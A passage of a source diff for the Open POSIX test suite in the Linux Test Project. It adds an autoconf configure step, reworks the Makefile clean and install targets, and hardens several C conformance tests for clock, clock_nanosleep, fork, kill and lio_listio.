+5.  Run "./configure && make" to try to build and execute all files
+    in the release, and ensure that they all build and execute correctly.
 
 6.  Craft a release message and send to:  posixtest-announce.
 
diff --git a/testcases/open_posix_testsuite/Documentation/HOWTO_RunTests b/testcases/open_posix_testsuite/Documentation/HOWTO_RunTests
index 0231838..c443f9e 100644
--- a/testcases/open_posix_testsuite/Documentation/HOWTO_RunTests
+++ b/testcases/open_posix_testsuite/Documentation/HOWTO_RunTests
@@ -45,6 +45,7 @@
 directory.
 
 From there, execute:
+    # ./configure
     # make all
 
 This will build all of the conformance, functional, and stress tests.
diff --git a/testcases/open_posix_testsuite/INSTALL b/testcases/open_posix_testsuite/INSTALL
deleted file mode 100644
index 9e3d3cd..0000000
--- a/testcases/open_posix_testsuite/INSTALL
+++ /dev/null
@@ -1,9 +0,0 @@
-
-This package does not install yet ... it is intended to be run
-directly.
-
-See BUILD for information on how to configure your system to build
-all tests.
-
-See Documentation/HOWTO_RunTests for information on how to run all tests.
-
diff --git a/testcases/open_posix_testsuite/LDFLAGS b/testcases/open_posix_testsuite/LDFLAGS
deleted file mode 100644
index e69de29..0000000
--- a/testcases/open_posix_testsuite/LDFLAGS
+++ /dev/null
diff --git a/testcases/open_posix_testsuite/LDLIBS b/testcases/open_posix_testsuite/LDLIBS
deleted file mode 100644
index e69de29..0000000
--- a/testcases/open_posix_testsuite/LDLIBS
+++ /dev/null
diff --git a/testcases/open_posix_testsuite/Makefile b/testcases/open_posix_testsuite/Makefile
index 0601fa6..affabf9 100644
--- a/testcases/open_posix_testsuite/Makefile
+++ b/testcases/open_posix_testsuite/Makefile
@@ -1,13 +1,14 @@
-#
-# Read COPYING for licensing details.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Ngie Cooper, June 2010
-#
 
 # Makefiles that are considered critical to execution; if they don't exist
 # all of the Makefiles will be rebuilt by default.
 CRITICAL_MAKEFILE=	conformance/interfaces/timer_settime/Makefile
 
+top_srcdir?=		.
+
+include include/mk/env.mk
+
 # The default logfile for the tests.
 LOGFILE?=		logfile
 # Subdirectories to traverse down.
@@ -24,43 +25,58 @@
 
 TEST_MAKE=		env $(TEST_MAKE_ENV) $(MAKE) -k
 
-top_srcdir?=		.
-
-prefix?=		`$(top_srcdir)/scripts/print_prefix.sh`
-
-datadir?=		$(prefix)/share
-
-exec_prefix?=		$(prefix)
-
 all: conformance-all functional-all stress-all tools-all
 
 ifeq ($(shell uname -s), Linux)
 include Makefile.linux
 endif
 
-clean: $(CRITICAL_MAKEFILE)
-	@rm -f $(LOGFILE)*
+AUTOGENERATED_FILES = include/mk/config.mk
+
+.PHONY: ac-clean
+ac-clean: clean
+
+.PHONY: clean
+clean:
+	$(RM) -f $(LOGFILE)*
+	$(RM) -f config.log config.status
 	@for dir in $(SUBDIRS) tools; do \
-	    $(MAKE) -C $$dir clean >/dev/null; \
+		$(MAKE) -C $$dir clean >/dev/null; \
 	done
 
-distclean: distclean-makefiles
+.PHONY: distclean
+distclean: clean distclean-makefiles
+	@rm -f $(AUTOGENERATED_FILES)
 
 # Clean out all of the generated Makefiles.
+.PHONY: distclean-makefiles
 distclean-makefiles:
 	@for dir in $(SUBDIRS); do \
 		$(MAKE) -C $$dir $@; \
 	done
 
+$(AUTOGENERATED_FILES): $(top_builddir)/config.status
+	$(SHELL) $^
+
+.PHONY: autotools
+autotools: configure
+
+configure: configure.ac
+	autoconf
+
+.PHONY: generate-makefiles
 generate-makefiles: distclean-makefiles
 	@env top_srcdir=$(top_srcdir) \
-	    $(top_srcdir)/scripts/generate-makefiles.sh
+		$(top_srcdir)/scripts/generate-makefiles.sh
 
+.PHONY: install
 install: bin-install conformance-install functional-install stress-install
 
+.PHONY: test
 test: conformance-test functional-test stress-test
 
 # Test build and execution targets.
+.PHONY: conformance-all conformance-install conformance-test
 conformance-all: $(CRITICAL_MAKEFILE)
 	@rm -f `if echo "$(LOGFILE)" | grep -q '^/'; then echo "$(LOGFILE)"; else echo "\`pwd\`/$(LOGFILE)"; fi`.$@
 	@$(BUILD_MAKE) -C conformance -j1 all
@@ -72,6 +88,7 @@
 	@rm -f `if echo "$(LOGFILE)" | grep -q '^/'; then echo "$(LOGFILE)"; else echo "\`pwd\`/$(LOGFILE)"; fi`.$@
 	@$(TEST_MAKE) -C conformance test
 
+.PHONY: functional-all functional-install functional-test
 functional-all: $(CRITICAL_MAKEFILE)
 	@rm -f `if echo "$(LOGFILE)" | grep -q '^/'; then echo "$(LOGFILE)"; else echo "\`pwd\`/$(LOGFILE)"; fi`.$@
 	@$(BUILD_MAKE) -C functional -j1 all
@@ -83,6 +100,7 @@
 	@rm -f `if echo "$(LOGFILE)" | grep -q '^/'; then echo "$(LOGFILE)"; else echo "\`pwd\`/$(LOGFILE)"; fi`.$@
 	@$(TEST_MAKE) -C functional test
 
+.PHONY: stress-all stress-install stress-test
 stress-all: $(CRITICAL_MAKEFILE)
 	@rm -f `if echo "$(LOGFILE)" | grep -q '^/'; then echo "$(LOGFILE)"; else echo "\`pwd\`/$(LOGFILE)"; fi`.$@
 	@$(BUILD_MAKE) -C stress -j1 all
@@ -95,15 +113,17 @@
 	@$(TEST_MAKE) -C stress test
 
 # Tools build and install targets.
+.PHONY: bin-install
 bin-install:
 	@$(MAKE) -C bin install
 
+.PHONY: tools-all
 tools-all:
 	@$(MAKE) -C tools all
 
-$(CRITICAL_MAKEFILE): \
-    $(top_srcdir)/scripts/generate-makefiles.sh	\
-    $(top_srcdir)/CFLAGS			\
-    $(top_srcdir)/LDFLAGS			\
-    $(top_srcdir)/LDLIBS
+$(CRITICAL_MAKEFILE): $(top_srcdir)/scripts/generate-makefiles.sh
 	@$(MAKE) generate-makefiles
+
+.PHONY: check
+check:
+	@echo "Checker not yet supported by Open POSIX testsuite"
diff --git a/testcases/open_posix_testsuite/QUICK-START b/testcases/open_posix_testsuite/QUICK-START
index 6f5d881..28b5ccc 100644
--- a/testcases/open_posix_testsuite/QUICK-START
+++ b/testcases/open_posix_testsuite/QUICK-START
@@ -10,8 +10,6 @@
 Setting up your machine
 ========================
 
-* There is nothing to install, the suite is intended to be run directly.
-
 * See the "BUILD" file for info on how to set up the Makefile and your machine,
   depending on what specific area you are concentrating on.
 (Signals, Semaphores, Threads, Timers or Message Queues).
@@ -20,8 +18,8 @@
 Running the tests
 ===================
 
-* Easiest way to run all the tests is to do a "make all" in the top-level
-  directory.
+* Easiest way to run all the tests is to do a "./configure && make all"
+  in the top-level directory.
 
 * To run tests for a specific directory, do the following
   - make generate-makefiles # only required for the first shot.
diff --git a/testcases/open_posix_testsuite/bin/Makefile b/testcases/open_posix_testsuite/bin/Makefile
index d9fd138..262a656 100644
--- a/testcases/open_posix_testsuite/bin/Makefile
+++ b/testcases/open_posix_testsuite/bin/Makefile
@@ -4,18 +4,32 @@
 # Ngie Cooper, July 2010
 #
 
-top_srcdir?=		..
+top_srcdir ?= ..
 
-srcdir=			$(top_srcdir)/bin
+include $(top_srcdir)/include/mk/config.mk
 
-prefix?=		`$(top_srcdir)/scripts/print-prefix.sh`
+INSTALL_BIN_TARGETS = run-all-posix-option-group-tests.sh run-posix-option-group-test.sh
+INSTALL_TESTCASE_BIN_TARGETS = run-tests.sh t0
 
-bindir?=		$(prefix)/bin
-
+.PHONY: clean
 clean:
 	@rm -f t0.val
 
-install: clean
-	@set -e; for i in `ls *`; do \
-	    install -m 0755 $$i $(DESTDIR)/$(bindir)/. ;\
+.PHONY: install
+install: clean $(DESTDIR)/$(bindir) $(DESTDIR)/$(testdir_bin)
+	set -e; for file in $(INSTALL_BIN_TARGETS); do           \
+		install -m 00755 $$file $(DESTDIR)/$(bindir)/$$file; \
 	done
+
+	sed -i 's~TESTPATH=""~TESTPATH="$(testdir_rel)"~' $(DESTDIR)/$(bindir)/run-posix-option-group-test.sh
+
+	set -e; for file in $(INSTALL_TESTCASE_BIN_TARGETS); do	      \
+		install -m 00755 $$file $(DESTDIR)/$(testdir_bin)/$$file; \
+	done
+
+
+$(DESTDIR)/$(bindir):
+	mkdir -p $@
+
+$(DESTDIR)/$(testdir_bin):
+	mkdir -p $@
diff --git a/testcases/open_posix_testsuite/bin/run-posix-option-group-test.sh b/testcases/open_posix_testsuite/bin/run-posix-option-group-test.sh
index 7cf2b09..e90c252 100755
--- a/testcases/open_posix_testsuite/bin/run-posix-option-group-test.sh
+++ b/testcases/open_posix_testsuite/bin/run-posix-option-group-test.sh
@@ -1,4 +1,5 @@
 #! /bin/sh
+# Copyright (c) Linux Test Project, 2010-2022
 # Copyright (c) 2002, Intel Corporation. All rights reserved.
 # Created by:  julie.n.fleischer REMOVE-THIS AT intel DOT com
 # This file is licensed under the GPL license.  For the full content
@@ -7,7 +8,9 @@
 #
 # Use to build and run tests for a specific area
 
-BASEDIR="$(dirname "$0")/../conformance/interfaces"
+TESTPATH=""
+
+BASEDIR="$(dirname "$0")/../${TESTPATH}/conformance/interfaces"
 
 usage()
 {
@@ -22,7 +25,16 @@
 
 run_option_group_tests()
 {
-	for test_script in $(find $1 -name run.sh | sort); do
+	local list_of_tests
+
+	list_of_tests=`find $1 -name '*.run-test' | sort`
+
+	if [ -z "$list_of_tests" ]; then
+		echo ".run-test files not found under $1, have been the tests compiled?"
+		exit 1
+	fi
+
+	for test_script in $list_of_tests; do
 		(cd "$(dirname "$test_script")" && ./$(basename "$test_script"))
 	done
 }
diff --git a/testcases/open_posix_testsuite/configure.ac b/testcases/open_posix_testsuite/configure.ac
new file mode 100644
index 0000000..efa0393
--- /dev/null
+++ b/testcases/open_posix_testsuite/configure.ac
@@ -0,0 +1,18 @@
+AC_PREREQ(2.61)
+AC_INIT([open_posix_testsuite], [LTP_VERSION], [ltp@lists.linux.it])
+AC_CONFIG_FILES([ \
+    include/mk/config.mk \
+])
+
+AC_PROG_CC
+
+AC_PREFIX_DEFAULT(/opt/openposix_testsuite)
+
+AC_ARG_WITH([open-posix-testdir],
+    [AS_HELP_STRING([--with-open-posix-testdir=DIR], [Relative path from $prefix to testdir])],
+    [testdir=$withval],
+    [testdir=]
+)
+AC_SUBST([testdir], [$testdir])
+
+AC_OUTPUT
diff --git a/testcases/open_posix_testsuite/conformance/Makefile b/testcases/open_posix_testsuite/conformance/Makefile
index c101b7f..756d252 100644
--- a/testcases/open_posix_testsuite/conformance/Makefile
+++ b/testcases/open_posix_testsuite/conformance/Makefile
@@ -1,9 +1,7 @@
-#
-# Read COPYING for licensing details.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Ngie Cooper, June 2010
-#
 
+.PHONY: all clean distclean-makefiles install test
 all clean distclean-makefiles install test:
 	@for dir in `ls -d */Makefile 2>/dev/null | sed -e 's,/Makefile$$,,g'`; do \
 		$(MAKE) -C $$dir $@;						   \
diff --git a/testcases/open_posix_testsuite/conformance/behavior/Makefile b/testcases/open_posix_testsuite/conformance/behavior/Makefile
index b09527f..f681405 100644
--- a/testcases/open_posix_testsuite/conformance/behavior/Makefile
+++ b/testcases/open_posix_testsuite/conformance/behavior/Makefile
@@ -4,10 +4,12 @@
 # Ngie Cooper, June 2010
 #
 
+.PHONY: all clean install test
 all clean install test:
 	@for dir in `ls -d */Makefile 2>/dev/null | sed -e 's,/Makefile$$,,g'`; do \
 		$(MAKE) -C $$dir $@;						  \
 	done
 
+.PHONY: distclean-makefiles
 distclean-makefiles:
 	@find */ -name 'Makefile*' | xargs rm -f
diff --git a/testcases/open_posix_testsuite/conformance/definitions/Makefile b/testcases/open_posix_testsuite/conformance/definitions/Makefile
index b09527f..f681405 100644
--- a/testcases/open_posix_testsuite/conformance/definitions/Makefile
+++ b/testcases/open_posix_testsuite/conformance/definitions/Makefile
@@ -4,10 +4,12 @@
 # Ngie Cooper, June 2010
 #
 
+.PHONY: all clean install test
 all clean install test:
 	@for dir in `ls -d */Makefile 2>/dev/null | sed -e 's,/Makefile$$,,g'`; do \
 		$(MAKE) -C $$dir $@;						  \
 	done
 
+.PHONY: distclean-makefiles
 distclean-makefiles:
 	@find */ -name 'Makefile*' | xargs rm -f
diff --git a/testcases/open_posix_testsuite/conformance/definitions/aio_h/2-1.c b/testcases/open_posix_testsuite/conformance/definitions/aio_h/2-1.c
index 39fb41d..133b3a5 100644
--- a/testcases/open_posix_testsuite/conformance/definitions/aio_h/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/definitions/aio_h/2-1.c
@@ -25,4 +25,6 @@
 	aiocb.aio_nbytes = 0;
 	aiocb.aio_sigevent = sigevent;
 	aiocb.aio_reqprio = -1;
+
+	return 0;
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/Makefile b/testcases/open_posix_testsuite/conformance/interfaces/Makefile
index b09527f..3525da0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/Makefile
+++ b/testcases/open_posix_testsuite/conformance/interfaces/Makefile
@@ -1,13 +1,12 @@
-#
-# Read COPYING for licensing details.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Ngie Cooper, June 2010
-#
 
+.PHONY: all clean install test
 all clean install test:
 	@for dir in `ls -d */Makefile 2>/dev/null | sed -e 's,/Makefile$$,,g'`; do \
 		$(MAKE) -C $$dir $@;						  \
 	done
 
+.PHONY: distclean-makefiles
 distclean-makefiles:
 	@find */ -name 'Makefile*' | xargs rm -f
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/9-1.c
index e1ae59e..cd1aa03 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/9-1.c
@@ -48,7 +48,6 @@
 	int i;
 	struct aiocb aiocbs[NUM_AIOCBS];
 	int last_req;
-	int err;
 	int ret;
 
 	if (sysconf(_SC_ASYNCHRONOUS_IO) < 200112L
@@ -85,7 +84,7 @@
 	}
 
 	for (i = 0; i < last_req - 1; i++) {
-		err = aio_error(&aiocbs[i]);
+		aio_error(&aiocbs[i]);
 		ret = aio_return(&aiocbs[i]);
 
 	}
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/7-1.c
index 277573a..52c8d70 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/7-1.c
@@ -48,7 +48,6 @@
 	int i;
 	struct aiocb aiocbs[NUM_AIOCBS];
 	int last_req;
-	int err;
 	int ret;
 
 	if (sysconf(_SC_ASYNCHRONOUS_IO) < 200112L
@@ -79,7 +78,7 @@
 	}
 
 	for (i = 0; i < last_req - 1; i++) {
-		err = aio_error(&aiocbs[i]);
+		aio_error(&aiocbs[i]);
 		ret = aio_return(&aiocbs[i]);
 
 	}
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/asctime/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/asctime/1-1.c
index bc30950..8463d95 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/asctime/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/asctime/1-1.c
@@ -28,7 +28,7 @@
 {
 	struct tm time_ptr;
 
-	char expected[26];
+	char expected[128];
 	char *real;
 
 	char wday_name[7][3] =
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/clock/1-1.c
index 384be06..e255720 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock/1-1.c
@@ -20,45 +20,32 @@
 #include <time.h>
 #include "posixtest.h"
 
-#define BUSY_LOOP_SECONDS 5
+#define MAX_RUNTIME_SECONDS 15
 
 int main(void)
 {
 	clock_t c1, c2;
 	double sec1, sec2;
-	time_t end;
+	time_t end = time(NULL) + MAX_RUNTIME_SECONDS;
 
 	c1 = clock();
-	sec1 = c1 / CLOCKS_PER_SEC;
-
-	end = time(NULL) + BUSY_LOOP_SECONDS;
-
-	while (end >= time(NULL)) {
-		clock();
+	if (c1 == (clock_t)-1) {
+		printf("processor time not available\n");
+		return PTS_UNRESOLVED;
 	}
+	sec1 = (double) c1 / CLOCKS_PER_SEC;
 
-	c2 = clock();
-	sec2 = c2 / CLOCKS_PER_SEC;
-
-	if (sec2 > sec1) {
-		printf("Times T1=%.2f, T2=%.2f\n", sec1, sec2);
-		printf("Test PASSED\n");
-		return PTS_PASS;
-	} else {
-		if (sec2 < sec1) {
-			/*
-			 * probably wrapping happened; however, since
-			 * we do not know the wrap value, results are
-			 * undefined
-			 */
-			printf("TEST AGAIN:  Times probably wrapped\n");
-			return PTS_UNRESOLVED;
-		} else {
-			printf("Error with processor times T1=%.2f, T2=%.2f\n",
-			       sec1, sec2);
-			return PTS_FAIL;
+	do {
+		c2 = clock();
+		sec2 = (double) c2 / CLOCKS_PER_SEC;
+		if (sec2 - sec1 > 1) {
+			printf("Times T1=%.2lf, T2=%.2lf\n", sec1, sec2);
+			printf("Test PASSED\n");
+			return PTS_PASS;
 		}
-	}
+	} while (end >= time(NULL));
 
-	return PTS_UNRESOLVED;
+	printf("Error with processor times T1=%.2lf, T2=%.2lf\n",
+	       sec1, sec2);
+	return PTS_FAIL;
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/5-1.c
index 0046d50..2e9961a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/5-1.c
@@ -35,8 +35,14 @@
 
 		pwd = getpwnam("nobody");
 		if (pwd != NULL) {
-			setgid(pwd->pw_gid);
-			setuid(pwd->pw_uid);
+			if (setgid(pwd->pw_gid)) {
+				perror("setgid");
+				return PTS_UNRESOLVED;
+			}
+			if (setuid(pwd->pw_uid)) {
+				perror("setuid");
+				return PTS_UNRESOLVED;
+			}
 		}
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-3.c b/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-3.c
index 98de93a..e2fdc4c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-3.c
@@ -22,6 +22,7 @@
 #include <unistd.h>
 #include <sys/wait.h>
 #include "posixtest.h"
+#include "proc.h"
 
 #define SLEEPSEC 30
 
@@ -63,7 +64,7 @@
 		/* parent here */
 		int i;
 
-		sleep(1);
+		tst_process_state_wait3(pid, 'S', 1);
 
 		if (kill(pid, SIGABRT) != 0) {
 			printf("Could not raise signal being tested\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-4.c b/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-4.c
index 9808c5c..ca3d079 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-4.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-4.c
@@ -14,6 +14,7 @@
 #include <unistd.h>
 #include <sys/wait.h>
 #include "posixtest.h"
+#include "proc.h"
 
 #define SLEEPSEC 30
 
@@ -36,7 +37,7 @@
 		/* parent here */
 		int i;
 
-		sleep(1);
+		tst_process_state_wait3(pid, 'S', 1);
 
 		if (kill(pid, SIGABRT) != 0) {
 			printf("Could not raise signal being tested\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-5.c b/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-5.c
index 46f2616..7c09d75 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-5.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-5.c
@@ -18,6 +18,7 @@
 #include <sys/wait.h>
 #include <stdlib.h>
 #include "posixtest.h"
+#include "proc.h"
 
 #define SLEEPSEC 5
 
@@ -34,7 +35,10 @@
 		return PTS_UNRESOLVED;
 	}
 
-	if ((pid = fork()) == 0) {
+	if ((pid = fork()) < 0) {
+		printf("fork() did not return success\n");
+		return PTS_UNRESOLVED;
+	} else if (pid == 0) {
 		/* child here */
 		struct timespec tssleep;
 
@@ -52,7 +56,7 @@
 		/* parent here */
 		int i;
 
-		sleep(1);
+		tst_process_state_wait3(pid, 'S', 1);
 
 		if (kill(pid, SIGSTOP) != 0) {
 			printf("Could not raise SIGSTOP\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/10-1.c b/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/10-1.c
index f6adcc9..9fae578 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/10-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/10-1.c
@@ -15,6 +15,7 @@
 #include <sys/wait.h>
 #include <errno.h>
 #include "posixtest.h"
+#include "proc.h"
 
 #define SLEEPSEC 30
 
@@ -59,7 +60,7 @@
 		/* parent here */
 		int i;
 
-		sleep(1);
+		tst_process_state_wait3(pid, 'S', 1);
 
 		if (kill(pid, SIGABRT) != 0) {
 			printf("Could not raise signal being tested\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-2.c
index 3306188..8cafb3b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-2.c
@@ -23,6 +23,7 @@
 #include <unistd.h>
 #include <sys/wait.h>
 #include "posixtest.h"
+#include "proc.h"
 
 #define SLEEPSEC 30
 
@@ -71,7 +72,7 @@
 		/* parent here */
 		int i;
 
-		sleep(1);
+		tst_process_state_wait3(pid, 'S', 1);
 
 		if (kill(pid, SIGABRT) != 0) {
 			printf("Could not raise signal being tested\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-3.c b/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-3.c
index 06a79a9..3938f44 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-3.c
@@ -16,6 +16,7 @@
 #include <unistd.h>
 #include <sys/wait.h>
 #include "posixtest.h"
+#include "proc.h"
 
 #define SLEEPSEC 30
 
@@ -45,7 +46,7 @@
 		/* parent here */
 		int i;
 
-		sleep(1);
+		tst_process_state_wait3(pid, 'S', 1);
 
 		if (kill(pid, SIGABRT) != 0) {
 			printf("Could not raise signal being tested\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/9-1.c
index 04ef0a2..69e6e07 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/9-1.c
@@ -17,6 +17,7 @@
 #include <stdlib.h>
 #include <errno.h>
 #include "posixtest.h"
+#include "proc.h"
 
 #define SLEEPSEC 30
 
@@ -89,6 +90,7 @@
 		int i;
 
 		sleep(1);
+		tst_process_state_wait3(pid, 'S', 1);
 
 		if (kill(pid, SIGABRT) != 0) {
 			printf("Could not raise signal being tested\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/7-1.c
index aaf1403..ce8d7d9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/7-1.c
@@ -49,33 +49,21 @@
 #define MESSCAT_IN  "messcat.txt"
 #define MESSCAT_OUT "messcat.cat"
 
-static void read_catalog(nl_catd cat, char *who)
+static int read_catalog(nl_catd cat)
 {
+	const char *notfound = "not found";
 	char *msg = NULL;
 	int i, j;
 
-#if VERBOSE > 0
-	output("Reading the message catalog from %s...\n", who);
-#endif
-
-	errno = 0;
-
 	for (i = 1; i <= 2; i++) {
 		for (j = 1; j <= 2; j++) {
 
-			msg = catgets(cat, i, j, "not found");
-
-			if (errno != 0)
-				UNRESOLVED(errno, "catgets returned an error");
-#if VERBOSE > 1
-			output("set %i msg %i: %s\n", i, j, msg);
-#endif
+			msg = catgets(cat, i, j, notfound);
+			if (msg == notfound)
+				return 1;
 		}
 	}
-
-#if VERBOSE > 0
-	output("Message catalog read successfully in %s\n", who);
-#endif
+	return 0;
 }
 
 static char *messcat_in =
@@ -132,7 +120,10 @@
 	if (messcat == (nl_catd) - 1)
 		UNRESOLVED(errno, "Could not open ./" MESSCAT_OUT);
 
-	read_catalog(messcat, "parent");
+	if (read_catalog(messcat)) {
+		printf("UNRESOLVED: Unable to read message catalog in parent\n");
+		return PTS_UNRESOLVED;
+	}
 
 	child = fork();
 
@@ -140,8 +131,11 @@
 		UNRESOLVED(errno, "Failed to fork");
 
 	if (child == 0) {
-		read_catalog(messcat, "child");
-		exit(PTS_PASS);
+		if (read_catalog(messcat)) {
+			printf("FAILED: Unable to read message catalog in child\n");
+			return PTS_FAIL;
+		}
+		return PTS_PASS;
 	}
 
 	ctl = waitpid(child, &status, 0);
@@ -157,7 +151,8 @@
 	if (ret != 0)
 		UNRESOLVED(errno, "Failed to close the message catalog");
 
-	system("rm -f " MESSCAT_IN " " MESSCAT_OUT);
+	unlink(MESSCAT_IN);
+	unlink(MESSCAT_OUT);
 
 #if VERBOSE > 0
 	output("Test passed\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/kill/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/kill/1-2.c
index 2dbe9d1..8b25b05 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/kill/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/kill/1-2.c
@@ -66,7 +66,7 @@
 		sigaction(SIGTOTEST, &act, 0);
 
 		if (0 != sigwait(&set, &sig)) {
-			printf("Sigwait did not return 0."
+			printf("Sigwait did not return 0. "
 				"Possible problem with sigwait function\n");
 			/* FAIL */
 			return 0;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/kill/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/kill/2-2.c
index dd56683..1cd3b2f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/kill/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/kill/2-2.c
@@ -55,7 +55,10 @@
 	 */
 	/* this is added incase user is root. If user is normal user, then it
 	 * has no effect on the tests */
-	setuid(1);
+	if (setuid(1)) {
+		perror("setuid");
+		return PTS_UNRESOLVED;
+	}
 
 	if (-1 == kill(1, 0)) {
 		if (EPERM == errno) {
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/kill/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/kill/3-1.c
index a599933..70a8c59 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/kill/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/kill/3-1.c
@@ -23,7 +23,10 @@
 {
 	/* this is added incase user is root. If user is normal user, then it
 	 * has no effect on the tests */
-	setuid(1);
+	if (setuid(1)) {
+		perror("setuid");
+		return PTS_UNRESOLVED;
+	}
 
 	if (kill(1, 0) != -1) {
 		printf
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/2-1.c
index 4f458a0..efcd5b3 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/2-1.c
@@ -34,19 +34,11 @@
 
 #define TNAME "lio_listio/2-1.c"
 
-#define NUM_AIOCBS	10
+#define NUM_AIOCBS	256
 #define BUF_SIZE	1024
 
-static volatile int received_selected;
 static volatile int received_all;
 
-static void sigrt1_handler(int signum PTS_ATTRIBUTE_UNUSED,
-	siginfo_t *info,
-	void *context PTS_ATTRIBUTE_UNUSED)
-{
-	received_selected = info->si_value.sival_int;
-}
-
 static void sigrt2_handler(int signum PTS_ATTRIBUTE_UNUSED,
 	siginfo_t *info PTS_ATTRIBUTE_UNUSED,
 	void *context PTS_ATTRIBUTE_UNUSED)
@@ -98,15 +90,10 @@
 		memset(aiocbs[i], 0, sizeof(struct aiocb));
 
 		aiocbs[i]->aio_fildes = fd;
-		aiocbs[i]->aio_offset = 0;
+		aiocbs[i]->aio_offset = i * BUF_SIZE;
 		aiocbs[i]->aio_buf = &bufs[i * BUF_SIZE];
 		aiocbs[i]->aio_nbytes = BUF_SIZE;
 		aiocbs[i]->aio_lio_opcode = LIO_WRITE;
-
-		/* Use SIRTMIN+1 for individual completions */
-		aiocbs[i]->aio_sigevent.sigev_notify = SIGEV_SIGNAL;
-		aiocbs[i]->aio_sigevent.sigev_signo = SIGRTMIN + 1;
-		aiocbs[i]->aio_sigevent.sigev_value.sival_int = i;
 	}
 
 	/* Use SIGRTMIN+2 for list completion */
@@ -114,12 +101,6 @@
 	event.sigev_signo = SIGRTMIN + 2;
 	event.sigev_value.sival_ptr = NULL;
 
-	/* Setup handler for individual operation completion */
-	action.sa_sigaction = sigrt1_handler;
-	sigemptyset(&action.sa_mask);
-	action.sa_flags = SA_SIGINFO | SA_RESTART;
-	sigaction(SIGRTMIN + 1, &action, NULL);
-
 	/* Setup handler for list completion */
 	action.sa_sigaction = sigrt2_handler;
 	sigemptyset(&action.sa_mask);
@@ -139,15 +120,6 @@
 		exit(PTS_FAIL);
 	}
 
